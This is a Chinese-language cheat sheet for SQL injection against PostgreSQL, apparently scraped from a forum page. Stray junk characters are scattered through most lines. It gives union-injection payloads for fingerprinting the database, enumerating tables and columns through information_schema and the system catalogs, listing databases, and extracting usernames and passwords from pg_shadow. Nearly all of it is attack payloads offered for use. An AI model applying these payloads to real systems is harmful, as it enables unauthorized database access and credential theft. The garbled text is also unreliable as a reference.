结合了MSSQL MySQL Oracle的一些特点
g/ _5 S5 `2 N2 N支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/
2 p6 e b ]3 Z: U连接符: %20 , + , /**/ 内置函数:7 Y; \7 L2 \4 s Y
current_database() //当前数据库名8 B8 g# [6 V" b' ~- A* K; T% F F
session_user //会话用户
8 T) E# t( n; c, scurrent_user //当前数据库用户
' H: e+ J2 I3 `3 Q+ luser //当前用户0 ]) ~. j% _, K F$ j
version() //数据库版本 Union注射:! H! x3 a4 ?; d( \
order by n– C# n H4 D) m1 K
and 1=2 union select null,null,null–
1 S6 t5 B/ U$ P+ Y* Z, ]and 1=2 union select ‘beach’,null,null–& M1 e9 X4 D! y2 K3 i$ o
and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):& Z7 Y3 i) @) R0 v
group_concat(table_name)
" a5 W$ j( y2 k% i( p$ Uand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–* _) b0 {" [6 [# N9 Q- O8 E7 l
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
4 f H+ b0 A7 @' a6 X0 v(老版本)) J6 z' P- `' ~+ i) v$ ]
pg_class.oid对应pg_attribute.attrelid
+ y4 @/ c1 W& C4 G7 Wpg_class.relname表名
5 i7 D Q d: K% y7 ?/ Bpg_attribute.attname字段名 select relname from pg_class获取表名2 l2 [6 J. G( S" \7 \+ P
select oid from pg_class where 条件 获取参数
+ ^1 G9 V- q" k* H" R2 Sselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:( Q# N8 k) T( _ A2 y
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
0 q: ]# g/ @% q( Gand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
: |7 L% T; r, r4 V由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
; ^1 u6 C! W! j3 d======================================================================; p' o. P' n9 K! K8 U
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库/ `) r" T) R/ w$ _2 s
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |